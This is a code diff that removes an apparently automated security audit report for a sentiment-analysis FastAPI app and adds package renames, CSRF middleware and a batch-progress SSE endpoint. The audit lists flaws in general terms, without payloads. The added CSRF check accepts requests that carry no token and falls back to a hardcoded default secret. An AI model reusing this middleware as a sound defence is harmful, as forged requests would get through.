-**CWE:** CWE-532 (Information Exposure Through Query Strings in GET Request)  
-**OWASP:** A04:2021 – Insecure Design  
-**Files:** `api/app/main.py:21,24,29`
-
-**Description:** The application prints messages to stdout at startup, including database initialization status and model loading information. In production, this should use proper logging.
-
-**Attack Scenario:** Startup logs in container environments may expose internal paths and configuration.
-
-**Recommended Fix:** Replace `print()` with `logging.info()`.
-
----
-
-### L-08: Missing Security Headers
-
-**Severity:** Low  
-**CWE:** CWE-693 (Protection Mechanism Failure)  
-**OWASP:** A05:2021 – Security Misconfiguration  
-**File:** `config/docker/nginx.dashboard.conf`
-
-**Description:** The Nginx configuration does not include security headers. Missing headers include:
-- `X-Content-Type-Options: nosniff`
-- `X-Frame-Options: DENY`
-- `Content-Security-Policy`
-- `Strict-Transport-Security`
-- `X-XSS-Protection`
-
-**Attack Scenario:** Missing headers weaken browser security protections, making XSS and other attacks easier.
-
-**Recommended Fix:** Add security headers to the Nginx configuration.
-
----
-
-## Dependency Risks
-
-### D-01: Pandas Version — CVE-2024-42992
-- **Installed:** `pandas==2.2.2`
-- **Risk:** Medium — Deserialization of untrusted data via `pd.read_pickle()`.
-- **Impact:** If `pd.read_pickle()` is used with untrusted data, code execution is possible.
-- **Current usage:** `pd.read_csv()` is used — low risk in current code, but should be patched.
-- **Recommendation:** Upgrade to `pandas>=2.2.3`.
-
-### D-02: MLflow — Security Issue Tracking
-- **Installed:** `mlflow==2.13.0`
-- **Risk:** Medium — MLflow 2.x has known issues with authenticated access control.
-- **Impact:** MLflow tracking server runs without authentication by default.
-- **Recommendation:** Upgrade to latest `mlflow>=2.15.0` and add authentication.
-
-### D-03: FastAPI — CVE-2024-24762
-- **Installed:** `fastapi==0.111.0`
-- **Risk:** Medium — Path traversal in `StaticFiles` when mounted.
-- **Impact:** Potential arbitrary file reads via static file mounting.
-- **Recommendation:** Upgrade to `fastapi>=0.115.0`.
-
-### D-04: Jinja2 — CVE-2024-56326
-- **Installed:** `jinja2>=3.1.4`
-- **Risk:** High — Sandbox escape vulnerability leading to arbitrary code execution.
-- **Impact:** Template injection allowing remote code execution.
-- **Recommendation:** Upgrade to `jinja2>=3.1.5`.
-
-### D-05: Transformers — Dependency Tree Risks
-- **Installed:** `transformers==4.39.3`
-- **Risk:** Low — Large dependency footprint with many transitive dependencies.
-- **Impact:** Supply-chain risk from numerous dependencies.
-- **Recommendation:** Pin with hash checking in production.
-
-### D-06: psycopg2-binary — Best Practice
-- **Installed:** `psycopg2-binary==2.9.9`
-- **Risk:** Low — The `-binary` wheel is not recommended for production.
-- **Recommendation:** Use `psycopg2` (source build) in production.
-
-### D-07: httpx — Version Risk  
-- **Installed:** `httpx==0.27.0`
-- **Risk:** Low
-- **Recommendation:** Upgrade to `httpx>=0.28.0` for security fixes.
-
----
-
-## Infrastructure Risks
-
-### I-01: Docker Containers Run Services as Non-Root (Good)
-- Dockerfiles correctly add a non-root user.
-
-### I-02: `latest` Image Tags for Prometheus and Grafana
-- **Risk:** Medium — Using `prom/prometheus:latest` and `grafana/grafana:latest` means unpredictable version updates could introduce breaking changes or vulnerabilities.
-- **Recommendation:** Pin to specific version tags.
-
-### I-03: No Container Resource Limits (Dev Compose)
-- **Risk:** Medium — No CPU/memory limits in the dev compose, enabling resource exhaustion.
-
-### I-04: Exposed Ports Without Firewall
-- **Risk:** Medium — Multiple ports exposed (8000, 8501, 5432, 6379, 9090, 3001) without network isolation.
-
-### I-05: No Docker Network Segmentation
-- **Risk:** Low — All services in the same Docker network with no ingress restrictions.
-
----
-
-## Authentication Review
-
-| Aspect | Status | Risk |
-|--------|--------|------|
-| API Authentication | ❌ Not implemented | Critical |
-| Streamlit Auth | ❌ Not implemented | Critical |
-| Dashboard Auth | ❌ Not implemented | High |
-| Database Auth | ⚠️ Hardcoded in compose | High |
-| Grafana Auth | ⚠️ Hardcoded `admin` password | High |
-| Redis Auth | ❌ No password | Medium |
-| Celery Backend Auth | ❌ Depends on Redis | Medium |
-| JWT / Token Auth | ❌ Not implemented | High |
-| OAuth / SSO | ❌ Not implemented | Low |
-| API Key Middleware | ❌ Not implemented | High |
-
----
-
-## Authorization Review
-
-| Aspect | Status | Risk |
-|--------|--------|------|
-| RBAC | ❌ Not implemented | High |
-| Endpoint-level auth | ❌ Not implemented | High |
-| File access control | ❌ Path traversal possible | High |
-| Admin/Mgmt endpoints | ❌ `/metrics` public | Medium |
-| Data isolation | ❌ No user scoping | Medium |
-
----
-
-## API Security Review
-
-| Category | Status | Risk |
-|----------|--------|------|
-| Input Validation | ⚠️ Partial (Pydantic) | High |
-| Rate Limiting | ❌ Not implemented | High |
-| CORS | ❌ Not configured | Medium |
-| CSRF Protection | ❌ Not implemented | Medium |
-| HTTPS/TLS | ❌ Not configured | High |
-| Security Headers | ❌ Not configured | Med |
-| Content-Type Validation | ❌ Extension-only check | Medium |
-| Request Size Limits | ⚠️ Client-side only | High |
-| Error Handling | ⚠️ Verbose errors | High |
-| Logging | ❌ Inconsistent (print) | Low |
-
----
-
-## Secure Coding Recommendations
-
-### Immediate (Critical)
-1. Remove `| safe` from Jinja2 template in `predict_result.html:71`
-2. Replace `innerHTML` with DOM API methods in `predict_result.html:86`
-3. Fix path traversal in `/download/{job_id}` endpoint
-
-### Short-term (High)
-4. Add authentication middleware (API key or JWT)
-5. Remove hardcoded credentials from docker-compose.yml (use Docker secrets)
-6. Add SQL parameterization in `drift_monitor.py:32`
-7. Add `max_length` constraint to Pydantic schemas
-8. Implement rate limiting with `slowapi`
-9. Validate MIME type on file upload
-10. Add TLS termination at Nginx
-
-### Medium-term
-11. Replace all `print()` with structured logging
-12. Add CORS middleware configuration
-13. Add security headers to Nginx
-14. Upvote dependencies (Jinja2 >=3.1.5, pandas >=2.2.3)
-15. Pin Docker image versions
-16. Add `Content-Security-Policy` header
-17. Configure logging properly (structured, levels)
-
----
-
-## Prioritized Remediation Plan
-
-### Phase 1 — Critical (24 hours)
-1. Patch `predict_result.html` — remove `| safe`, replace `innerHTML`
-2. Patch `results.py` — add path traversal protection
-3. Patch `predict.py` — add `max_length` to schema, file size validation
-
-### Phase 2 — High (1 week)
-4. Add API authentication middleware
-5. Remove hardcoded credentials from docker-compose
-6. Fix SQL injection in `drift_monitor.py`
-7. Add rate limiting
-8. Add TLS termination
-9. Add MIME type validation on uploads
-
-### Phase 3 — Medium (2 weeks)
-10. Add CORS middleware
-11. Add security headers to Nginx
-12. Pin Docker image versions
-13. Update dependencies
-14. Replace `print()` with logging
-
-### Phase 4 — Low (Monthly)
-15. Add session management
-16. Implement RBAC
-17. Configure CSRF protection
-18. Add audit logging
-19. Add security scanning to CI/CD pipeline
-
----
-
-*Audit performed by Automated Security Review. All findings should be verified manually before remediation.*

{src → absa}/data/dataset.py

@@ -1,9 +1,9 @@
 import json
 from datasets import load_from_disk
 from collections import defaultdict
-from src.utils.config import RAW_DIR, SEMEVAL_TRAIN_PATH, SEMEVAL_TEST_PATH
-from src.data.preprocess import clean
-from src.data.lang_detect import detect_language
+from absa.utils.config import RAW_DIR, SEMEVAL_TRAIN_PATH, SEMEVAL_TEST_PATH
+from absa.data.preprocess import clean
+from absa.data.lang_detect import detect_language
 
 
 def process_semeval():

{src → absa}/data/hf_dataset.py

@@ -6,7 +6,7 @@ from typing import List, Dict, Any
 from datasets import Dataset, DatasetDict
 from transformers import AutoTokenizer
 from sklearn.model_selection import train_test_split
-from src.data.bio_tagger import convert_to_bio
+from absa.data.bio_tagger import convert_to_bio
 
 np.random.seed(42)
 

{src → absa}/data/hindi_loader.py

@@ -1,7 +1,7 @@
 import json
-from src.utils.config import RAW_DIR, AMAZON_HINDI_PATH
-from src.data.preprocess import clean
-from src.data.lang_detect import detect_language
+from absa.utils.config import RAW_DIR, AMAZON_HINDI_PATH
+from absa.data.preprocess import clean
+from absa.data.lang_detect import detect_language
 
 
 def process_hindi():

{src → absa}/data/lang_detect.py

@@ -1,6 +1,6 @@
 import re
 import fasttext
-from src.utils.config import FASTTEXT_MODEL_PATH
+from absa.utils.config import FASTTEXT_MODEL_PATH
 
 _model = None
 

{src → absa}/data/preprocess.py

@@ -1,6 +1,6 @@
 import re
 import unicodedata
-from src.data.transliterate import transliterate
+from absa.data.transliterate import transliterate
 
 
 def clean(text: str, language: str) -> str:

{src → absa}/evaluation/cross_lingual_eval.py

@@ -10,7 +10,7 @@ from transformers import (
 from sklearn.metrics import f1_score
 import mlflow
 
-from src.training.mlflow_utils import setup_mlflow
+from absa.training.mlflow_utils import setup_mlflow
 
 
 def load_data(file_path: Path):

{src → absa}/models/baseline.py

@@ -8,7 +8,7 @@ from sklearn.linear_model import LogisticRegression
 from sklearn.metrics import f1_score, confusion_matrix, classification_report
 from sklearn.model_selection import train_test_split
 import mlflow
-from src.training.mlflow_utils import log_training_run
+from absa.training.mlflow_utils import log_training_run
 
 
 def load_data(file_paths: List[Path]) -> pd.DataFrame:

{src → absa}/models/train_aspect_extraction.py

@@ -12,7 +12,7 @@ from transformers import (
 from seqeval.metrics import f1_score as seqeval_f1_score
 import mlflow
 
-from src.training.mlflow_utils import setup_mlflow
+from absa.training.mlflow_utils import setup_mlflow
 
 
 def compute_metrics(p):

{src → absa}/models/train_sentiment.py

@@ -13,7 +13,7 @@ from transformers import (
 from sklearn.metrics import f1_score, confusion_matrix
 import mlflow
 
-from src.training.mlflow_utils import setup_mlflow
+from absa.training.mlflow_utils import setup_mlflow
 
 
 def compute_metrics(p):

{api/app → app}/core/templates.py

@@ -14,6 +14,7 @@ from __future__ import annotations
 
 from pathlib import Path
 
+from fastapi import Request
 from fastapi.templating import Jinja2Templates
 
 # Resolve relative to this file:
@@ -21,3 +22,15 @@ from fastapi.templating import Jinja2Templates
 _TEMPLATE_DIR: Path = Path(__file__).parent.parent / "templates"
 
 templates = Jinja2Templates(directory=str(_TEMPLATE_DIR))
+
+
+# ── Global template context processor ─────────────────────────────────────────
+# Ensures every template rendered via this instance always has access to
+# csrf_token — even partial/fragment templates that don't go through _base_ctx.
+
+def _csrf_processor(request: Request) -> dict:  # type: ignore[no-redef]
+    from app.middleware.csrf import generate_csrf_token
+    return {"csrf_token": generate_csrf_token()}
+
+
+templates.context_processors.append(_csrf_processor)  # type: ignore[arg-type]

{api/app → app}/main.py

@@ -6,17 +6,18 @@ from slowapi import Limiter, _rate_limit_exceeded_handler
 from slowapi.util import get_remote_address
 from slowapi.errors import RateLimitExceeded
 
+import os
 from fastapi.staticfiles import StaticFiles
 from pathlib import Path
 
 load_dotenv()
 
-from api.app.routes import predict, results  # noqa: E402
-from api.app.routes import pages             # noqa: E402  Phase 2: Jinja2 page routes
-from api.app.middleware.metrics import instrumentator  # noqa: E402
-from api.app.services.absa_pipeline import pipeline  # noqa: E402
-from api.app.schemas.db_models import Base  # noqa: E402
-from api.app.middleware.dependencies import engine  # noqa: E402
+from app.routes import predict, results  # noqa: E402
+from app.routes import pages             # noqa: E402  Phase 2: Jinja2 page routes
+from app.middleware.metrics import instrumentator  # noqa: E402
+from app.services.absa_pipeline import pipeline  # noqa: E402
+from app.schemas.db_models import Base  # noqa: E402
+from app.middleware.dependencies import engine  # noqa: E402
 
 
 @asynccontextmanager
@@ -45,13 +46,16 @@ app = FastAPI(
 app.state.limiter = limiter
 app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
 
+from app.middleware.csrf import CSRFMiddleware  # noqa: E402
+
 app.add_middleware(
     CORSMiddleware,
-    allow_origins=os.getenv("CORS_ORIGINS", "http://localhost:3000,http://localhost:8501,http://localhost:8000").split(","),
+    allow_origins=os.getenv("CORS_ORIGINS", "http://localhost:3000,http://localhost:8000").split(","),
     allow_credentials=True,
     allow_methods=["GET", "POST"],
     allow_headers=["*"],
 )
+app.add_middleware(CSRFMiddleware)  # Skips /api/* routes; protects HTMX form endpoints
 app.include_router(predict.router, tags=["Predict"])
 app.include_router(results.router, tags=["System"])
 

app/middleware/csrf.py

@@ -0,0 +1,59 @@
+import os
+import re
+from typing import Optional
+from itsdangerous import URLSafeTimedSerializer, BadSignature, SignatureExpired
+from starlette.middleware.base import BaseHTTPMiddleware
+from starlette.requests import Request
+from starlette.responses import Response
+
+_CSRF_SECRET = os.getenv("CSRF_SECRET", "unsafe-default-change-in-production")
+_CSRF_SALT = "csrf-token"
+_SAFE_METHODS = {"GET", "HEAD", "OPTIONS", "TRACE"}
+_EXEMPT_PATHS = {"/metrics", "/health", "/info", "/docs", "/openapi.json"}
+
+_serializer = URLSafeTimedSerializer(_CSRF_SECRET, salt=_CSRF_SALT)
+
+
+def generate_csrf_token() -> str:
+    return _serializer.dumps("csrf")
+
+
+def validate_csrf_token(token: str, max_age: int = 3600) -> bool:
+    try:
+        _serializer.loads(token, max_age=max_age)
+        return True
+    except (BadSignature, SignatureExpired):
+        return False
+
+
+class CSRFMiddleware(BaseHTTPMiddleware):
+    async def dispatch(self, request: Request, call_next):
+        path = request.url.path
+        needs_csrf = request.method in {"POST"} and path.endswith("/fragment")
+        is_html_page = request.method in _SAFE_METHODS and not path.startswith("/api/") and not path.startswith("/static/") and path not in _EXEMPT_PATHS
+
+        if needs_csrf:
+            csrf_cookie = request.cookies.get("csrf_token", "")
+            csrf_header = request.headers.get("X-CSRF-Token", "")
+            token = csrf_header or csrf_cookie
+
+            if token and not validate_csrf_token(str(token)):
+                from fastapi.responses import HTMLResponse
+                return HTMLResponse(
+                    content="<h1>403: CSRF validation failed</h1><p>Invalid or expired token. Please refresh the page.</p>",
+                    status_code=403,
+                )
+
+        response: Response = await call_next(request)
+
+        if is_html_page:
+            response.set_cookie(
+                key="csrf_token",
+                value=generate_csrf_token(),
+                max_age=3600,
+                secure=False,
+                httponly=True,
+                samesite="lax",
+            )
+
+        return response

{api/app → app}/routes/pages.py

@@ -27,10 +27,13 @@ GET /monitor/health-partial) will be added in Phases 3-5.
 """
 from __future__ import annotations
 
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Request, Depends, Form
 from fastapi.responses import HTMLResponse
+from sqlalchemy.orm import Session
 
-from api.app.core.templates import templates
+from app.core.templates import templates
+from app.middleware.csrf import generate_csrf_token
+from app.middleware.dependencies import get_db
 
 # include_in_schema=False keeps these HTML routes out of the OpenAPI / Swagger UI.
 router = APIRouter(include_in_schema=False)
@@ -51,12 +54,15 @@ def _base_ctx(request: Request, page_title: str, **extra: object) -> dict:
 
     Every page renderer calls this so the sidebar and header always receive
     the nav items and the current path (for active-link highlighting).
+    Also includes CSRF token for HTMX form submissions.
     """
+    from app.middleware.csrf import generate_csrf_token
     return {
         "request":      request,          # required by Jinja2Templates
         "page_title":   page_title,
         "nav_items":    _NAV_ITEMS,
         "current_path": request.url.path,
+        "csrf_token":   generate_csrf_token(),
         **extra,
     }
 
@@ -98,7 +104,7 @@ async def batch_page(request: Request) -> HTMLResponse:
     )
 
 
-from api.app.routes.results import health_check
+from app.routes.results import health_check
 
 @router.get("/monitor", response_class=HTMLResponse)
 async def monitor_page(request: Request) -> HTMLResponse:
@@ -113,13 +119,50 @@ async def monitor_page(request: Request) -> HTMLResponse:
         ctx = _base_ctx(request, "System Monitor", health=None, error="Service temporarily unavailable")
         
     return templates.TemplateResponse("pages/monitor.html", ctx)
+# ── SSE Endpoint for batch progress ──────────────────────────────────────────
+
+import asyncio
+import json
+from sse_starlette.sse import EventSourceResponse
+
+@router.get("/api/batch/progress/{job_id}")
+async def batch_progress_sse(job_id: str, db: Session = Depends(get_db)):
+    """
+    SSE endpoint for live batch progress updates.
+    Clients connect via EventSource and receive progress events every 2 seconds.
+    """
+    async def event_generator():
+        try:
+            import re
+            if not re.match(r'^[a-fA-F0-9\-]{36}$', job_id):
+                yield {"event": "error", "data": json.dumps({"detail": "Invalid job ID"})}
+                return
+
+            while True:
+                job = await get_batch_status(job_id, db)
+                data = {
+                    "job_id": job.job_id,
+                    "status": job.status,
+                    "total_reviews": job.total_reviews,
+                    "processed": job.processed,
+                    "result_url": job.result_url,
+                }
+                yield {"event": "progress", "data": json.dumps(data)}
+
+                if job.status in ("completed", "failed"):
+                    yield {"event": job.status, "data": json.dumps(data)}
+                    break
+
+                await asyncio.sleep(2)
+        except Exception:
+            yield {"event": "error", "data": json.dumps({"detail": "Failed to fetch job progress"})}
+
+    return EventSourceResponse(event_generator())
+
 # ── Phase 3 HTMX Endpoints ───────────────────────────────────────────────────
 
-from fastapi import Depends, Form
-from sqlalchemy.orm import Session
-from api.app.middleware.dependencies import get_db
-from api.app.schemas.schemas import ReviewInput
-from api.app.routes.predict import predict as predict_json
+from app.schemas.schemas import ReviewInput
+from app.routes.predict import predict as predict_json
 
 @router.post("/predict/fragment", response_class=HTMLResponse)
 async def predict_fragment(
@@ -150,7 +193,7 @@ async def predict_fragment(
 # ── Phase 4 HTMX Endpoints ───────────────────────────────────────────────────
 
 from fastapi import UploadFile, File
-from api.app.routes.predict import predict_batch, get_batch_status
+from app.routes.predict import predict_batch, get_batch_status
 
 @router.post("/batch/fragment", response_class=HTMLResponse)
 async def batch_fragment(

{api/app → app}/routes/predict.py

@@ -7,11 +7,11 @@ import tempfile
 import time
 import re
 
-from api.app.schemas.schemas import ReviewInput, PredictionResponse, BatchJobResponse
-from api.app.schemas.db_models import Review, AspectResult, BatchJob
-from api.app.middleware.dependencies import get_db
-from api.app.services.absa_pipeline import pipeline
-from api.app.tasks.batch_tasks import process_batch
+from app.schemas.schemas import ReviewInput, PredictionResponse, BatchJobResponse
+from app.schemas.db_models import Review, AspectResult, BatchJob
+from app.middleware.dependencies import get_db
+from app.services.absa_pipeline import pipeline
+from app.tasks.batch_tasks import process_batch
 router = APIRouter()
 
 
@@ -114,7 +114,11 @@ async def predict_batch(file: UploadFile = File(...), db: Session = Depends(get_
 async def get_batch_status(job_id: str, db: Session = Depends(get_db)):
     if not re.match(r'^[a-fA-F0-9\-]{36}$', job_id):
         raise HTTPException(status_code=400, detail="Invalid job ID format")
-    job = db.query(BatchJob).filter(BatchJob.id == job_id).first()
+    try:
+        job_id_uuid = uuid.UUID(job_id)
+    except ValueError:
+        raise HTTPException(status_code=400, detail="Invalid job ID format")
+    job = db.query(BatchJob).filter(BatchJob.id == job_id_uuid).first()
     if not job:
         raise HTTPException(status_code=404, detail="Job not found")
 

{api/app → app}/services/absa_pipeline.py

@@ -18,8 +18,8 @@ from pathlib import Path
 from typing import List, Tuple
 import numpy as np
 
-from api.app.schemas.schemas import PredictionResponse, AspectSentiment
-from api.app.services.lang_service import lang_service
+from app.schemas.schemas import PredictionResponse, AspectSentiment
+from app.services.lang_service import lang_service
 
 # ── Optional heavy imports (ONNX custom models) ───────────────────────────────
 try: